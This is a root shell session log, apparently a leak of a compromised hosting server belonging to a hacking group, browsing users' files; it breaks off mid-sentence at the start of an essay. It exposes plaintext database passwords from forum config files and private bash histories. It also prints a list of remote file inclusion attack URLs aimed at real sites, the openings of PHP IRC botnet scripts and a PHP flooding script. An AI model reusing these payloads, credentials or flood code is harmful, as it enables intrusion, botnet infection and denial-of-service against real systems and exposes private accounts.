mod1cp -rw-r--r-- 1 g00ns83 g00ns83 27560 Jun 19 2007 moderation.php -rw-rw-r-- 1 g00ns83 g00ns83 6705 Jun 19 2007 moderator.php -rw-rw-r-- 1 g00ns83 g00ns83 18056 Jun 19 2007 newattachment.php -rw-rw-r-- 1 g00ns83 g00ns83 35434 Jun 19 2007 newreply.php -rw-rw-r-- 1 g00ns83 g00ns83 16942 Jun 19 2007 newthread.php drwxr-xr-x 8 g00ns83 g00ns83 4096 Aug 2 2007 oldlayout -rw-rw-r-- 1 g00ns83 g00ns83 19955 Jun 19 2007 online.php -rw-r--r-- 1 g00ns83 g00ns83 7398 Jun 19 2007 payment_gateway.php -rw-r--r-- 1 g00ns83 g00ns83 11724 Jun 19 2007 payments.php drwxr-xr-x 2 g00ns83 g00ns83 4096 Oct 28 09:27 players -rw-rw-r-- 1 g00ns83 g00ns83 26065 Jun 19 2007 poll.php -rw-rw-r-- 1 g00ns83 g00ns83 72004 Jun 19 2007 postings.php -rw-rw-r-- 1 g00ns83 g00ns83 6568 Jun 19 2007 printthread.php -rw-rw-r-- 1 g00ns83 g00ns83 55163 Jun 19 2007 private.php -rw-rw-r-- 1 g00ns83 g00ns83 94525 Jun 19 2007 profile.php -rw-r--r-- 1 g00ns83 g00ns83 4188 Feb 14 2006 referrals.php -rw-rw-r-- 1 g00ns83 g00ns83 468 May 11 2005 refresh.jpg -rw-rw-r-- 1 g00ns83 g00ns83 38457 Jun 19 2007 register.php -rw-rw-r-- 1 g00ns83 g00ns83 14498 Jun 19 2007 report.php -rw-rw-r-- 1 g00ns83 g00ns83 13433 Jun 19 2007 reputation.php -rwxrwxrwx 1 g00ns83 g00ns83 0 Sep 17 2007 scast_home.xml drwxr-xr-x 2 g00ns83 root 4096 Dec 6 2003 script -rw-rw-r-- 1 g00ns83 g00ns83 115978 Jun 19 2007 search.php drwxrwxr-x 2 g00ns83 g00ns83 4096 Aug 8 2007 sec -rw-r--r-- 1 g00ns83 g00ns83 61 Jun 10 2006 secnews.php -rw-r--r-- 1 g00ns83 g00ns83 10524 Apr 6 2007 sendmail -rw-rw-r-- 1 g00ns83 g00ns83 20225 Jun 19 2007 sendmessage.php -rw-rw-r-- 1 g00ns83 g00ns83 10195 Jun 19 2007 showgroups.php -rw-rw-r-- 1 g00ns83 g00ns83 10693 Jun 19 2007 showpost.php -rw-rw-r-- 1 g00ns83 g00ns83 65310 Jun 19 2007 showthread.php drwxr-xr-x 3 g00ns83 g00ns83 4096 Aug 2 2007 signaturepics -rw-r--r-- 1 g00ns83 root 10026 Dec 16 12:33 snow.zip drwxr-xr-x 2 g00ns83 g00ns83 4096 Aug 2 2007 spicvbtemp99 -rw-r--r-- 1 g00ns83 g00ns83 2853 Apr 17 00:01 subheader.php -rw-r--r-- 1 g00ns83 g00ns83 10069 Apr 17 00:19 subscribersfeat.php -rw-rw-r-- 1 g00ns83 g00ns83 30709 Jun 19 2007 subscription.php drwxrwxr-x 3 g00ns83 g00ns83 4096 Aug 2 2007 subscriptions -rw-rw-r-- 1 g00ns83 g00ns83 7904 Sep 7 2005 subscriptions.php -rw-r--r-- 1 g00ns83 g00ns83 61 Jun 10 2006 technews.php -rw-rw-r-- 1 g00ns83 g00ns83 8614 Jun 19 2007 threadrate.php drwxr-xr-x 2 root root 4096 Mar 9 11:19 tribal drwxr-xr-x 4 g00ns83 g00ns83 4096 Aug 2 2007 tutorials drwxr-xr-x 2 g00ns83 g00ns83 4096 Jan 10 13:41 uploads -rw-rw-r-- 1 g00ns83 g00ns83 21967 Jun 19 2007 usercp.php -rw-rw-r-- 1 g00ns83 g00ns83 18798 Jun 19 2007 usernote.php -rw-r--r-- 1 g00ns83 g00ns83 14047 Jun 3 2006 vboutput1.php -rw-r--r-- 1 g00ns83 g00ns83 2 Apr 17 00:18 viewed.txt drwxr-xr-x 4 g00ns83 g00ns83 4096 Mar 27 16:15 z3r0 [root@demon2 g00ns83]# cd ../g00nsts395 [root@demon2 g00nsts395]# ls -al total 1216 drwx--x--x 10 g00nsts395 g00nsts395 4096 Apr 16 19:57 . drwx--x--x 50 root root 4096 Mar 27 16:19 .. drwx------ 2 g00nsts395 g00nsts395 4096 Aug 1 2007 backups -rw------- 1 g00nsts395 g00nsts395 15363 Apr 16 20:43 .bash_history -rw-r--r-- 1 g00nsts395 g00nsts395 304 Jun 3 2006 .bash_logout -rw-r--r-- 1 g00nsts395 g00nsts395 191 Jun 3 2006 .bash_profile -rw-r--r-- 1 g00nsts395 g00nsts395 124 Jun 3 2006 .bashrc drwx--x--x 3 g00nsts395 g00nsts395 4096 Jun 3 2006 domains drwx------ 2 g00nsts395 g00nsts395 4096 Sep 20 2006 .elinks -rw-r--r-- 1 g00nsts395 g00nsts395 383 Jun 3 2006 .emacs drwxrwx--- 3 g00nsts395 g00nsts395 4096 Aug 1 2007 imap drwx------ 2 g00nsts395 g00nsts395 4096 Aug 1 2007 mail lrwxrwxrwx 1 g00nsts395 g00nsts395 34 Aug 1 2007 public_html -> ./domains/ts.g00ns.net/public_html -rw-r----- 1 g00nsts395 mail 34 Aug 21 2007 .shadow drwxr-xr-x 7 g00nsts395 g00nsts395 4096 Apr 16 20:01 ts drwxrwxr-x 3 g00nsts395 g00nsts395 4096 Dec 24 18:25 ts2afd -rw-rw-r-- 1 g00nsts395 g00nsts395 1155345 Apr 16 19:57 ts2_server_rc2_202319.tar.bz2 drwxr-xr-x 7 g00nsts395 g00nsts395 4096 Apr 16 19:59 tss2_rc2 [root@demon2 g00nsts395]# head .bash_history quit exit ls tar -xjf ts2_server_rc2_20201.tar.bz2 ls rm ts2_server_rc2_20201.tar.bz2 ls cd tss2_rc2/ ls ./teamspeak2-server_startscript start [root@demon2 g00nsts395]# tail .bash_history cd ts ls ./teamspeak2-server_startscript stop rm server.log ./teamspeak2-server_startscript start cd $home ls cd tss2_rc2/ ls nano server.log [root@demon2 g00nsts395]# cd ../pr0be/ [root@demon2 pr0be]# ls -al total 44 drwx--x--x 5 564 565 4096 Mar 9 11:56 . drwx--x--x 50 root root 4096 Mar 27 16:19 .. -rw------- 1 564 565 218 Jan 5 00:12 .bash_history -rw-r--r-- 1 564 565 24 Jan 4 23:06 .bash_logout -rw-r--r-- 1 564 565 176 Jan 4 23:06 .bash_profile -rw-r--r-- 1 564 565 124 Jan 4 23:06 .bashrc drwx--x--x 3 564 565 4096 Jan 4 23:20 domains drwxrwx--- 3 564 mail 4096 Jan 4 23:20 imap drwx------ 2 564 565 4096 Jan 4 23:20 mail lrwxrwxrwx 1 564 565 31 Jan 4 23:20 public_html -> ./domains/probe.net/public_html -rw-r----- 1 564 mail 34 Jan 4 23:20 .shadow [root@demon2 pr0be]# cat .bash_history ls wget http://irssi.org/files/irssi-0.8.12.tar.gz w tar jxfv irssi-0.8.12.tar.gz tar -xzyf irssi-0.8.12.tar.gz tar xvfz irssi-0.8.12.tar.gz ls cd irssi-0.8.12 ls ./configure sudo glib yum glib ./configure uname -a [root@demon2 pr0be]# ls -al public_html/ total 56 drwxr-xr-x 3 564 565 4096 Jan 4 23:20 . drwx--x--x 8 564 565 4096 Jan 5 00:10 .. -rwxr-xr-x 1 564 565 515 May 7 2007 400.shtml -rwxr-xr-x 1 564 565 515 May 7 2007 401.shtml -rwxr-xr-x 1 564 565 515 May 7 2007 403.shtml -rwxr-xr-x 1 564 565 515 May 7 2007 404.shtml -rwxr-xr-x 1 564 565 515 May 7 2007 500.shtml drwxr-xr-x 2 564 565 4096 Jan 4 23:20 cgi-bin -rw-r--r-- 1 564 565 606 Jan 4 23:20 index.html -rwxr-xr-x 1 564 565 18554 Jun 5 2003 logo.jpg [root@demon2 pr0be]# cd ../sixtyz [root@demon2 sixtyz]# ls -al total 56 drwx--x--x 7 sixtyz sixtyz 4096 Apr 16 19:09 . drwx--x--x 50 root root 4096 Mar 27 16:19 .. -rw------- 1 sixtyz sixtyz 757 Apr 16 19:09 .bash_history -rw-r--r-- 1 sixtyz sixtyz 24 Mar 22 20:21 .bash_logout -rw-r--r-- 1 sixtyz sixtyz 176 Mar 22 20:21 .bash_profile -rw-r--r-- 1 sixtyz sixtyz 124 Mar 22 20:21 .bashrc drwx--x--x 3 sixtyz sixtyz 4096 Mar 22 20:27 domains drwxrwx--- 3 sixtyz mail 4096 Mar 22 20:21 imap drwxrwxr-x 3 sixtyz sixtyz 4096 Apr 16 17:34 irc drwx------ 2 sixtyz sixtyz 4096 Apr 2 14:00 mail -rw-rw-r-- 1 sixtyz sixtyz 36 Apr 2 11:45 .mailboxlist lrwxrwxrwx 1 sixtyz sixtyz 29 Mar 22 20:27 public_html -> ./domains/60z.org/public_html -rw-r----- 1 sixtyz mail 34 Apr 16 17:33 .shadow drwxr-xr-x 2 root root 4096 Apr 16 17:29 wee [root@demon2 sixtyz]# cat .bash_history ls weechat weechat-curses weechat-qt weechat -h ls /usr/bin nano /usr/bin/ddos ls ls po ls intl ls ./ltmain.sh cat INSTALL ls nano weechat_icon_32.png l ls ls debian ls ls /home/sixtyzzz ls /home/sixtyz ls weechat weechat-gtk ./weechat w who uptime l ls nano ltmain.sh ./weechat-curses ls ls po ls doc nano doc/weechat-curses.1 cd $home/.weechat ls cd $user ls mkdir irc cd irc wget http://weechat.flashtux.org/download/weechat-0.2.6.tar.gz ls tar -xzf weechat-0.2.6.tar.gz ls cd weechat-0.2.6 ls ./configure make ls nano config.h ls po ls intl ls ./install-sh ls nano README cd /usr ls ls bin ls ls bin ; grep wee weechat ls cd /home/sixtyz ls ls /kerberos ls wee ls irc cd irc ls cd weechat-0.2.6 ls make ls src ls src/irc ls src/gui ls su su su [root@demon2 sixtyz]# ls -al public_html/ total 688 drwxr-xr-x 5 sixtyz sixtyz 4096 Apr 14 20:48 . drwx--x--x 8 sixtyz sixtyz 4096 Mar 23 00:10 .. -rw-r--r-- 1 sixtyz sixtyz 226816 Apr 3 18:51 1202.exe -rw-r--r-- 1 sixtyz sixtyz 160 Apr 13 18:24 1.txt -rwxr-xr-x 1 sixtyz sixtyz 515 May 7 2007 400.shtml -rwxr-xr-x 1 sixtyz sixtyz 515 May 7 2007 401.shtml -rwxr-xr-x 1 sixtyz sixtyz 515 May 7 2007 403.shtml -rwxr-xr-x 1 sixtyz sixtyz 515 May 7 2007 404.shtml -rwxr-xr-x 1 sixtyz sixtyz 515 May 7 2007 500.shtml drwxr-xr-x 2 sixtyz sixtyz 4096 Mar 22 20:21 cgi-bin -rw-r--r-- 1 sixtyz sixtyz 12218 Apr 13 18:25 har.php drwxr-xr-x 2 sixtyz sixtyz 4096 Apr 3 13:27 hi -rw-r--r-- 1 sixtyz sixtyz 600 Mar 22 20:21 index.html -rw-r--r-- 1 sixtyz sixtyz 45 Apr 14 20:48 in.txt -rw-r--r-- 1 sixtyz sixtyz 68 Mar 24 17:32 kike.php drwxrwxrwx 2 sixtyz sixtyz 36864 Apr 3 13:18 kl -rw-r--r-- 1 sixtyz sixtyz 7680 Apr 5 19:23 l.exe -rwxr-xr-x 1 sixtyz sixtyz 18554 Jun 5 2003 logo.jpg -rw-r--r-- 1 sixtyz sixtyz 213504 Apr 2 22:46 lol.exe.exe -rw-r--r-- 1 sixtyz sixtyz 7845 Apr 19 19:36 l.txt -rw-r--r-- 1 sixtyz sixtyz 28444 Apr 13 17:50 rfis_good.txt -rw-r--r-- 1 sixtyz sixtyz 16335 Apr 14 12:38 r.txt -rw-r--r-- 1 sixtyz sixtyz 61440 Apr 7 11:10 s.exe [root@demon2 sixtyz]# head public_html/rfis_good.txt http://www.todayandtonight.com/news/admin/inc/change_action.php? format_menue=http://60z.org/l.txt? http://www.todayandtonight.com/news/admin/inc/change_action.php? format_menue=http://60z.org/l.txt? http://www.xtreme-nails.com/forum/viewtopic.php?p=15&sid=be4c914 eb746ac7c96beea717fdfc692/&highlight=%2527.include($_GET[a]), exit.%2527&a=http://60z.org/l.txt? http://www.newfunkradio.com//common/db.php?commonpath=http://60z.org/l.txt? http://fan.reverielied.net/janime/protection.php?action=logout&siteurl=http://60z.org/l.txt? http://auklan.net//vwar/convert/mvcw.php?step=1&vwar_root=http://60z.org/l.txt? http://www.surfarticles.com//index.php?page=http://60z.org/l.txt? http://articles2post.com//index.php?page=http://60z.org/l.txt? http://malkaratuning.com//language/lang_german/lang_main_album.php? phpbb_root_path=http://60z.org/l.txt? http://construccioneszaru.com//?mosConfig_absolute_path=http://60z.org/l.txt? [root@demon2 sixtyz]# head public_html/l.txt <?php set_time_limit(0); error_reporting(0); echo "Inserted <b>successfully</b><br>\n"; $country = file_get_contents('http://api.hostip.info/country.php'); class irc_bot { var $config = array("server" => "irc.evilcoders.net", "port" => "6667", "chan" => "#fbilol", "key" => "lol", [root@demon2 sixtyz]# head public_html/r.txt <?php set_time_limit(0); error_reporting(0); echo "Inserted <b>successfully</b><br>\n"; class gBot { var $config = array("server"=>"irc.evilcoders.net", "port"=>6667, "pass"=>"", "prefix"=>"[XX]|", [root@demon2 sixtyz]# head public_html/1.txt <?php for($i=0;$i<($_GET['length']*100);++$i)$sock=@fsockopen(( $_GET['prot'] == "udp" ? "udp://" : "").$_GET['ip'], $_GET['port'], $errno, $errstr, 0.0001); ?>[root@demon2 sixtyz]# [root@demon2 sixtyz]# cd ../sn00g3s [root@demon2 sn00g3s]# ls -al total 72 drwx--x--x 10 sn00g3s sn00g3s 4096 Apr 3 01:33 . drwx--x--x 50 root root 4096 Mar 27 16:19 .. drwx------ 2 sn00g3s sn00g3s 4096 Aug 1 2007 backups -rw------- 1 sn00g3s sn00g3s 3822 Dec 30 12:44 .bash_history -rw-r--r-- 1 sn00g3s sn00g3s 304 Jun 8 2006 .bash_logout -rw-r--r-- 1 sn00g3s sn00g3s 191 Jun 8 2006 .bash_profile -rw-r--r-- 1 sn00g3s sn00g3s 124 Jun 8 2006 .bashrc -rw------- 1 sn00g3s sn00g3s 0 Aug 18 2007 .clipboard.txt drwx--x--x 3 sn00g3s sn00g3s 4096 Jun 8 2006 domains drwx------ 2 sn00g3s sn00g3s 4096 Mar 20 2007 .elinks -rw-r--r-- 1 sn00g3s sn00g3s 383 Jun 8 2006 .emacs drwxrwx--- 3 sn00g3s sn00g3s 4096 Aug 1 2007 imap drwx------ 2 sn00g3s sn00g3s 4096 Mar 21 16:24 mail -rw-rw-r-- 1 sn00g3s sn00g3s 36 Dec 16 16:34 .mailboxlist lrwxrwxrwx 1 sn00g3s sn00g3s 31 Aug 1 2007 public_html -> ./domains/g00ns.net/public_html drwx------ 18 sn00g3s sn00g3s 4096 Jul 8 2007 pubold -rw-r----- 1 sn00g3s mail 34 Dec 16 16:31 .shadow drwx------ 2 sn00g3s sn00g3s 4096 May 22 2007 .ssh drwxr-xr-x 3 sn00g3s sn00g3s 4096 Aug 25 2007 webmail [root@demon2 sn00g3s]# ls -al .ssh/ total 12 drwx------ 2 sn00g3s sn00g3s 4096 May 22 2007 . drwx--x--x 10 sn00g3s sn00g3s 4096 Apr 3 01:33 .. -rw-r--r-- 1 sn00g3s sn00g3s 224 May 22 2007 known_hosts [root@demon2 sn00g3s]# cat .ssh/* 209.200.50.124 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAvMKDvuIjkr3pTrFe7S4M83WnL sGkTn7rUcLm/l+PIrrjvWFh2Q0uFAlxD78spDpEtz/1A9ANS8MBUXrD0nSRC51iSVrOfNTOsmiay 3Ik1fxUIHshwqRUO8OmZt4pENPl9HNIsmFjLThyBNVEm9VA5m6fclTW6s1QW6+47WZZrEk= [root@demon2 sn00g3s]# cd public_html/ [root@demon2 public_html]# ls -al total 208672 drwx--x--x 28 sn00g3s sn00g3s 4096 Apr 3 01:40 . drwx--x--x 8 sn00g3s sn00g3s 4096 Aug 28 2007 .. -rw-r--r-- 1 sn00g3s sn00g3s 10 Jul 22 2007 403.shtml -rw-r--r-- 1 sn00g3s sn00g3s 9 Jul 22 2007 404.shtml -rw-r--r-- 1 sn00g3s sn00g3s 4283 Dec 15 12:35 about.php d--------- 2 sn00g3s sn00g3s 4096 Sep 21 2006 admin -rw-r--r-- 1 sn00g3s sn00g3s 169072 Aug 6 2007 around.png d--------- 2 sn00g3s sn00g3s 4096 Sep 21 2006 author ---------- 1 sn00g3s sn00g3s 2746 Sep 21 2006 author.php d--------- 2 sn00g3s sn00g3s 4096 Sep 21 2006 authors -rw-r--r-- 1 sn00g3s sn00g3s 6913 Jul 22 2007 auto.tar.gz -rw-r--r-- 1 sn00g3s sn00g3s 2956 Aug 6 2007 backcontent.png -rw-r--r-- 1 sn00g3s sn00g3s 97 Aug 6 2007 back.png drwxr-xr-x 2 sn00g3s sn00g3s 4096 Sep 21 2006 cgi-bin -rw-r--r-- 1 sn00g3s sn00g3s 8557 Jul 8 2007 config.php -rw-r--r-- 1 sn00g3s sn00g3s 14901 Aug 6 2007 countdown.swf -rw-r--r-- 1 sn00g3s sn00g3s 19264 Jul 31 2007 csf.conf drwxr-xr-x 2 sn00g3s sn00g3s 4096 Sep 21 2006 css -rw-r--r-- 1 sn00g3s sn00g3s 1461 Sep 21 2006 fade.js -rw-r--r-- 1 sn00g3s root 6726 Jan 26 19:01 fagime -rw-r--r-- 1 sn00g3s sn00g3s 5169 Aug 11 2007 faqbackup.php -rw-r--r-- 1 sn00g3s sn00g3s 1150 Oct 3 2006 favicon.ico drwxr-xr-x 7 sn00g3s sn00g3s 4096 Sep 21 2006 feeds -rw-r--r-- 1 sn00g3s sn00g3s 20 Nov 5 2006 fm902i0342gk340ok-43l.php -rw-r--r-- 1 sn00g3s sn00g3s 3316 Sep 21 2006 forum.php -rw-r--r-- 1 sn00g3s sn00g3s 76244 Aug 16 2007 g00ns.png -rw-r--r-- 1 sn00g3s sn00g3s 65208 Dec 1 21:39 ggdg9.jpg drwxr-xr-x 3 sn00g3s root 4096 Dec 30 15:40 hal -rw-r--r-- 1 sn00g3s sn00g3s 2959 Sep 21 2006 hallbkp.php -rw-r--r-- 1 sn00g3s sn00g3s 696 Sep 21 2006 hall_def.php -rw-r--r-- 1 sn00g3s sn00g3s 2911 Aug 8 2007 hall.php -rw-r--r-- 1 sn00g3s sn00g3s 252038 Sep 21 2006 header750x1001.jpg -rw-r--r-- 1 sn00g3s sn00g3s 1828 Sep 21 2006 headlinebox.html -rw-r--r-- 1 sn00g3s sn00g3s 529 Feb 21 22:28 .htaccess drwxr-xr-x 3 sn00g3s root 4096 Dec 6 2003 image drwxr-xr-x 3 sn00g3s sn00g3s 4096 Aug 18 2007 images drwxrwxrwx 7 sn00g3s sn00g3s 4096 Jun 19 2007 includes -rw-r--r-- 1 sn00g3s sn00g3s 9001 Dec 13 2006 index1.php -rw-rw-r-- 1 sn00g3s sn00g3s 8885 Jul 8 2007 index.2.php -rw-r--r-- 1 sn00g3s root 6948 Dec 16 11:29 index.bak2 -rw-r--r-- 1 sn00g3s sn00g3s 8290 Jul 29 2007 indexbkp.php -rw-r--r-- 1 sn00g3s sn00g3s 42 Jul 17 2007 indexold -rw-r--r-- 1 sn00g3s sn00g3s 42 Jul 17 2007 index.old -rw-r--r-- 1 sn00g3s sn00g3s 7112 Feb 5 13:27 index.php -rw-r--r-- 1 sn00g3s sn00g3s 7927 Aug 11 2007 indexwj.php -rw-r--r-- 1 sn00g3s root 22 Dec 17 23:15 info.php -rw-r--r-- 1 sn00g3s sn00g3s 2109 Apr 3 01:39 irccheck2.php -rw-r--r-- 1 sn00g3s sn00g3s 550 Apr 21 13:24 irccheck.txt -rw-r--r-- 1 sn00g3s sn00g3s 4431 Apr 3 01:39 irc.php drwxr-xr-x 2 sn00g3s sn00g3s 4096 Sep 21 2006 js drwxr-xr-x 2 sn00g3s sn00g3s 4096 Mar 31 21:03 kat -rw-r--r-- 1 sn00g3s root 256 Oct 19 2007 lic_req.bin -rw-r--r-- 1 sn00g3s sn00g3s 57368852 Jul 19 2007 linux-grsec-2.6.21.3.tar.gz -rw-r--r-- 1 sn00g3s root 104042878 Aug 13 2007 linux.tar.gz drwxr-xr-x 3 sn00g3s sn00g3s 4096 Feb 21 22:12 live -rwxrwxrwx 1 sn00g3s sn00g3s 1 Mar 31 19:01 lollevel.txt -rw-r--r-- 1 sn00g3s sn00g3s 623 Jun 24 2007 members.php -rw-r--r-- 1 sn00g3s root 0 Dec 17 23:14 nano -rw-r--r-- 1 sn00g3s sn00g3s 4402 Apr 1 02:07 offline.png drwxr-xr-x 2 sn00g3s sn00g3s 4096 Jul 17 2007 oldfiles_july18 -rw-r--r-- 1 sn00g3s sn00g3s 4458 Apr 1 02:07 online.png -rw-r--r-- 1 sn00g3s sn00g3s 1609 Aug 12 2007 pics.php -rw-r--r-- 1 sn00g3s sn00g3s 3041 Sep 21 2006 radio.php -rw-r--r-- 1 sn00g3s sn00g3s 148 Aug 11 2007 read.php -rw-r--r-- 1 sn00g3s sn00g3s 1886 Sep 21 2006 rss.html -rw-r--r-- 1 sn00g3s sn00g3s 1715 Aug 11 2007 rss.php -rw-r--r-- 1 sn00g3s sn00g3s 259 Sep 21 2006 sb_javascript.js drwxr-xr-x 2 sn00g3s root 4096 Dec 6 2003 script -rw-r--r-- 1 sn00g3s root 41162814 Feb 9 20:12 sc_serv.log ---------- 1 sn00g3s sn00g3s 615 Jul 18 2007 secnews.php -rw-r--r-- 1 sn00g3s sn00g3s 17544 Aug 6 2007 selector.swf drwxr-xr-x 2 sn00g3s sn00g3s 4096 Oct 1 2006 shout drwxr-xr-x 2 sn00g3s sn00g3s 4096 Sep 21 2006 shout1 drwxr-xr-x 3 sn00g3s sn00g3s 4096 Sep 21 2006 shoutcast ---------- 1 sn00g3s sn00g3s 6492 Jun 24 2007 site_members.php d--------- 3 sn00g3s sn00g3s 4096 Mar 21 16:26 sn00gadminkthnx99 -rwxr-xr-x 1 sn00g3s sn00g3s 59 Jul 8 2007 sn00gnews.php -rw-r--r-- 1 sn00g3s root 10026 Dec 16 12:33 snow.zip drwxr-xr-x 2 sn00g3s sn00g3s 4096 Aug 7 2007 spicvbtemp99 -rw-r--r-- 1 sn00g3s sn00g3s 3193 Aug 11 2007 stereo.php drwxr-xr-x 3 sn00g3s sn00g3s 4096 Feb 21 22:06 stream -rw-r--r-- 1 sn00g3s sn00g3s 5390 Dec 15 12:47 style.css -rw-r--r-- 1 sn00g3s sn00g3s 1599 Sep 21 2006 tablebkp.php -rw-r--r-- 1 sn00g3s sn00g3s 1581 Aug 7 2007 table.php drwxr-xr-x 3 sn00g3s sn00g3s 4096 Aug 18 2007 tag -rw-r--r-- 1 sn00g3s sn00g3s 14837 Aug 11 2007 tag.php drwxr-xr-x 2 sn00g3s sn00g3s 4096 Jun 24 2007 teamspeakdisplay -rw-r--r-- 1 sn00g3s sn00g3s 616 Jul 18 2007 technews.php -rw-rw-r-- 1 sn00g3s sn00g3s 954 Aug 4 2007 template.tar.gz drwxr-xr-x 3 sn00g3s root 4096 Dec 16 11:24 themes -rw-r--r-- 1 sn00g3s sn00g3s 2848 Aug 6 2007 title.png drwxr-xr-x 4 sn00g3s sn00g3s 4096 Feb 8 13:43 tribal drwxr-xr-x 3 sn00g3s sn00g3s 4096 Sep 21 2006 ts -rw-r--r-- 1 sn00g3s sn00g3s 3682 Aug 11 2007 ts.php -rw-r--r-- 1 sn00g3s root 12033 Jan 6 17:30 udpips -rw-r--r-- 1 sn00g3s sn00g3s 14047 Jul 8 2007 vboutput1.php -rw-r--r-- 1 sn00g3s root 9750649 Oct 6 2007 ZendOptimizer-3.3.0-linux-glibc21-i386.tar.gz [root@demon2 public_html]# cat /home/sn00g3s/domains/g00ns.net/public_html/includes/config.php ( crap may be removed ) <?php /*======================================================================*\ || #################################################################### || || # vBulletin 3.6.4 - Licence Number VBFD1673E2 || # ---------------------------------------------------------------- # || || # All PHP code in this file is X%a%000-2007 Jelsoft Enterprises Ltd. # || || # This file may not be redistributed in whole or significant part. # || || # ---------------- VBULLETIN IS NOT FREE SOFTWARE ---------------- # || || # http://www.vbulletin.com | http://www.vbulletin.com/license.html # || || #################################################################### || \*======================================================================*/ $config['Database']['dbtype'] = 'mysql'; $config['Database']['dbname'] = 'g00ns83_forum'; $config['Database']['tableprefix'] = 'vb3g'; $config['Database']['technicalemail'] = 'admin@g00ns.net'; $config['Database']['force_sql_mode'] = false; $config['MasterServer']['servername'] = 'localhost'; $config['MasterServer']['port'] = 3306; $config['MasterServer']['username'] = 'g00ns83_user'; $config['MasterServer']['password'] = 'gotohell09666'; $config['MasterServer']['usepconnect'] = 0; $config['SlaveServer']['servername'] = ''; $config['SlaveServer']['port'] = 3306; $config['SlaveServer']['username'] = ''; $config['SlaveServer']['password'] = ''; $config['SlaveServer']['usepconnect'] = 0; $config['Misc']['admincpdir'] = 'admin1cp'; $config['Misc']['modcpdir'] = 'mod1cp'; $config['Misc']['cookieprefix'] = 'bb'; $config['Misc']['forumpath'] = ''; $config['SpecialUsers']['canviewadminlog'] = '1'; $config['SpecialUsers']['canpruneadminlog'] = '1'; $config['SpecialUsers']['canrunqueries'] = '1'; $config['SpecialUsers']['undeletableusers'] = '1'; $config['SpecialUsers']['superadministrators'] = '1'; $config['Mysqli']['ini_file'] = ''; $config['Misc']['maxwidth'] = 2592; $config['Misc']['maxheight'] = 1944; [root@demon2 public_html]# cat /home/sn00g3s/domains/g00ns.net/public_html/config.php <?php /*======================================================================*\ || #################################################################### || || # vBulletin 3.6.4 - Licence Number VBFD1673E2 || # ---------------------------------------------------------------- # || || # All PHP code in this file is X%a%000-2007 Jelsoft Enterprises Ltd. # || || # This file may not be redistributed in whole or significant part. # || || # ---------------- VBULLETIN IS NOT FREE SOFTWARE ---------------- # || || # http://www.vbulletin.com | http://www.vbulletin.com/license.html # || || #################################################################### || \*======================================================================*/ $config['Database']['dbtype'] = 'mysql'; $config['Database']['dbname'] = 'g00ns83_forum'; $config['Database']['tableprefix'] = 'vb3g'; $config['Database']['technicalemail'] = 'admin@g00ns.net'; $config['Database']['force_sql_mode'] = false; $config['MasterServer']['servername'] = 'g00ns-forum.net'; $config['MasterServer']['port'] = 3306; $config['MasterServer']['username'] = 'g00ns83_user'; $config['MasterServer']['password'] = 'sm00chy'; $config['MasterServer']['usepconnect'] = 0; $config['SlaveServer']['servername'] = ''; $config['SlaveServer']['port'] = 3306; $config['SlaveServer']['username'] = ''; $config['SlaveServer']['password'] = ''; $config['SlaveServer']['usepconnect'] = 0; $config['Misc']['admincpdir'] = 'admin1cp'; $config['Misc']['modcpdir'] = 'mod1cp'; $config['Misc']['cookieprefix'] = 'bb'; $config['Misc']['forumpath'] = ''; $config['SpecialUsers']['canviewadminlog'] = '1'; $config['SpecialUsers']['canpruneadminlog'] = '1'; $config['SpecialUsers']['canrunqueries'] = '1'; $config['SpecialUsers']['undeletableusers'] = '1'; $config['SpecialUsers']['superadministrators'] = '1'; $config['Mysqli']['ini_file'] = ''; $config['Misc']['maxwidth'] = 2592; $config['Misc']['maxheight'] = 1944; [root@demon2 public_html]# cat /home/admin/domains/rst-crew.net/public_html/forum/config.php <?php error_reporting(0); $dbms = 'mysql'; $dbhost = 'localhost'; $dbname = 'rosec_i376joo'; $dbuser = 'rosec_i376joo'; $dbpasswd = 'xBQZgypDSe1l0'; $table_prefix = 'phpbb_'; define('PHPBB_INSTALLED', true); ?> [root@demon2 public_html]# cd /var/spool/mail [root@demon2 mail]# ls -al total 75300 drwxrwxr-x 2 root mail 4096 Apr 21 14:55 . drwxr-xr-x 11 root root 4096 Jul 31 2007 .. -rw-rw---- 1 admin admin 314211 Sep 19 2007 admin -rw-rw---- 1 alliancedn alliancedn 0 Apr 27 2006 alliancedn -rw-rw---- 1 aosw aosw 1013473 Oct 18 2007 aosw -rw-rw---- 1 apache mail 4736 Aug 22 2007 apache -rw-rw---- 1 barnseo barnseo 1987728 Apr 21 09:59 barnseo -rw-rw---- 1 bored bored 3487 Jul 18 2007 bored -rw-rw---- 1 churc0 churc0 0 Jun 24 2006 churc0 -rw-rw---- 1 connors connors 17044 Apr 7 11:33 connors -rw-rw---- 1 diradmin mail 69254 Mar 26 19:13 diradmin -rw-rw---- 1 egg mail 19916 Apr 14 23:10 egg -rw-rw---- 1 every every 3317388 Apr 21 14:38 every -rw-rw---- 1 evilcode evilcode 0 Apr 29 2006 evilcode -rw-rw---- 1 excodeirc excodeirc 0 Apr 28 2006 excodeirc -rw-rw---- 1 exploiterc exploiterc 0 Apr 27 2006 exploiterc -rw-rw---- 1 felosii felosii 0 Jun 30 2007 felosii -rw-rw---- 1 g00ns83 mail 9074189 Apr 21 14:49 g00ns83 -rw-rw---- 1 g00nsts395 g00nsts395 0 Jun 3 2006 g00nsts395 -rw-rw---- 1 grumpy grumpy 284648 Mar 1 10:51 grumpy -rw-rw---- 1 hthhost mail 118701 Apr 12 15:26 hthhost -rw-rw---- 1 illmob illmob 0 Apr 28 2006 illmob -rw-rw---- 1 lost mail 8398 Mar 27 07:48 lost -rw-rw---- 1 mail mail 1038 Aug 30 2007 mail -rw-rw---- 1 party party 182080 Feb 13 07:40 party -rw-rw---- 1 pingyill pingyill 60510303 Apr 21 14:55 pingyill -rw-rw---- 1 rageserver rageserver 0 Apr 28 2006 rageserver -rw-rw---- 1 robo robo 554 Jun 1 2007 robo -rw------- 1 root root 1765 Feb 10 14:01 root -rw-rw---- 1 sixtyz mail 4701 Apr 14 08:08 sixtyz -rw-rw---- 1 sn00g3s sn00g3s 0 Jun 8 2006 sn00g3s -rw-rw---- 1 void void 0 Jan 18 2007 void ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ In any large hacking community there are two kinds of people at the top. The first is not going anywhere. They are either unskilled (even for that level) and lucky to be there (probably there through patronage), or they are just happy with the benefits from being at the top of that 